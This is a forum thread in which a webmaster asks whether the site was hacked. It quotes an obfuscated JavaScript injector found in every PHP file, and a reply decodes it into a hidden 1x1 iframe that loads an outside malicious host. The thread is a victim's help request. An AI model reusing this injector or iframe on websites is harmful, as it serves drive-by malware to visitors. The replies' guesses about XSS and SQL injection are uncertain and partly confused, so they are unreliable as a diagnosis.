User Name Password Register
DaniWeb IT Discussion Community
All
What is DaniWeb IT Discussion Community?
You're currently browsing the PHP section within the Web Development category of DaniWeb, a massive community of 425,824 software developers, web developers, Internet marketers, and tech gurus who are all enthusiastic about making contacts, networking, and learning from each other. In fact, there are 2,976 IT professionals currently interacting right now! Registration is free, only takes a minute and lets you enjoy all of the interactive features of the site.
Please support our PHP advertiser: Lunarpages PHP Web Hosting
Views: 573 | Replies: 5
Reply
Join Date: Feb 2008
Posts: 39
Reputation: Kraai is an unknown quantity at this point 
Rep Power: 1
Solved Threads: 0
Kraai's Avatar
Kraai Kraai is offline Offline
Light Poster

Was my site hacked? Please help.

  #1  
Jun 2nd, 2008
Hi everyone

I have a website, running for years without any problem, and all of a sudden, today, it does not display any pages. All is blank!

The website in question is a Xoops installation.

I accessed my directory and files via cpanel, and first went to see if I can see my index.php and yes, it seems like all files and folders are still there. I viewed the code on the index file, and found some script there, that I am sure I haven't ever seen before. The same script appears on all other .php files in my public directory. I am a very novice at php, and don't know what this means.

The script in question is as follow:

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

Is there someone that can help me, first of all, to confirm that I was hacked, and seconly, understands this script on all my files, and thirdly, wisen me up on how to restore my site.

I was very stupid not to have any recent back up, but it apears my files are all there, as well as all databse.

Please help this poor monkey!
I left my hotdog somewhere, If you find it, feed it please, or better feed yourself!!
Webhostig and ISP Solutions in ZA
AddThis Social Bookmark Button
Reply With Quote  
Join Date: Nov 2007
Location: Bangalore, India
Posts: 3,098
Reputation: nav33n has a spectacular aura about nav33n has a spectacular aura about 
Rep Power: 8
Solved Threads: 240
nav33n's Avatar
nav33n nav33n is offline Offline
Posting Sensei

Re: Was my site hacked? Please help.

  #2  
Jun 3rd, 2008
Hmm.. I am not sure if your site is hacked.. But when that javascript was 'decoded', it gave me the url, http://www.wp-stats-php.info/ . The complete URL was
<iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0>
Umm.. Have you seen this iframe before ? I have never been in this position before, so maybe someone else has something better to say..
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.

*PM asking for help will be ignored*
Reply With Quote  
Join Date: Apr 2008
Posts: 48
Reputation: helraizer is an unknown quantity at this point 
Rep Power: 1
Solved Threads: 3
helraizer helraizer is offline Offline
Light Poster

Re: Was my site hacked? Please help.

  #3  
Jun 3rd, 2008
It's so called "script injection".

Are you using Wordpress blogs or WP-Stats in your website? For they are particularly vunerable?.The way that is done is with specially crafted SQL using certain parameters to then gain access to the back-end database.

Check your database and see the post in there.
Reply With Quote  
Join Date: Nov 2007
Location: Bangalore, India
Posts: 3,098
Reputation: nav33n has a spectacular aura about nav33n has a spectacular aura about 
Rep Power: 8
Solved Threads: 240
nav33n's Avatar
nav33n nav33n is offline Offline
Posting Sensei

Re: Was my site hacked? Please help.

  #4  
Jun 3rd, 2008
Originally Posted by helraizer View Post
It's so called "script injection".

Are you using Wordpress blogs or WP-Stats in your website? For they are particularly vunerable?.The way that is done is with specially crafted SQL using certain parameters to then gain access to the back-end database.

Check your database and see the post in there.


Oh, cross site scripting ! Hmm..
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.

*PM asking for help will be ignored*
Reply With Quote  
Join Date: Apr 2008
Posts: 48
Reputation: helraizer is an unknown quantity at this point 
Rep Power: 1
Solved Threads: 3
helraizer helraizer is offline Offline
Light Poster

Re: Was my site hacked? Please help.

  #5  
Jun 3rd, 2008
Originally Posted by nav33n View Post
Oh, cross site scripting ! Hmm..


Yeah. XSS! Some how they found an exploit in the posting of blogs on a user's site in which they use the HTML <!-- Comments --> <!-- Traffic Statistics --> Exploitary code here <!-- End Traffic Statistics -->

Perhaps the blog software uses SSI, which could explain something.

As for the OP's problem, I'm not sure how the heck the attacker inject php because php is server side so shouldn't execute from the page. =\
Reply With Quote  
Join Date: Feb 2008
Posts: 39
Reputation: Kraai is an unknown quantity at this point 
Rep Power: 1
Solved Threads: 0
Kraai's Avatar
Kraai Kraai is offline Offline
Light Poster

Re: Was my site hacked? Please help.

  #6  
Jun 3rd, 2008
Thanks for all the replies.

Yes, I saw that the pages all were refering to http://www.wp-stats-php.info/ in the taskbar, untill "done" and only a blank page displays.

Yes, there are two wordpress blogs on the domain.

No, the iframe should not be there.

The hacker even left me a message in one of the index php files of the main site, saying: "Silence is golden"

This is a very large site, and as said before, all php files were injected with this script.

The two wordpress blogs were in seperate folders, and public access was /domainname/blogname/

On the main domain, is a Xoops installation.

What I understand, from this thread, is that the hacker gained access thru wordpress mysql databasis, and from there also attack the Xoops databasis, injecting his script everywhere?

If I am able to restore a backup, where and how should I go and plug these holes in wordpress? I am novice, and only know a little of database and php etc. That is one of the reasons I am on this forum, to learn from you who know, and I think Daniweb is one of the most resourceful knowledge building forums ever exists.
I left my hotdog somewhere, If you find it, feed it please, or better feed yourself!!
Webhostig and ISP Solutions in ZA
Reply With Quote  
Reply

Only community members can participate in forum threads. You must register or log in to contribute.

DaniWeb PHP Marketplace
Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)

 

Thread Tools Display Modes

Similar Threads
Other Threads in the PHP Forum

All times are GMT -4. The time now is 4:23 pm.
Forum system based on vBulletin Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
©2003 - 2008 DaniWeb® LLC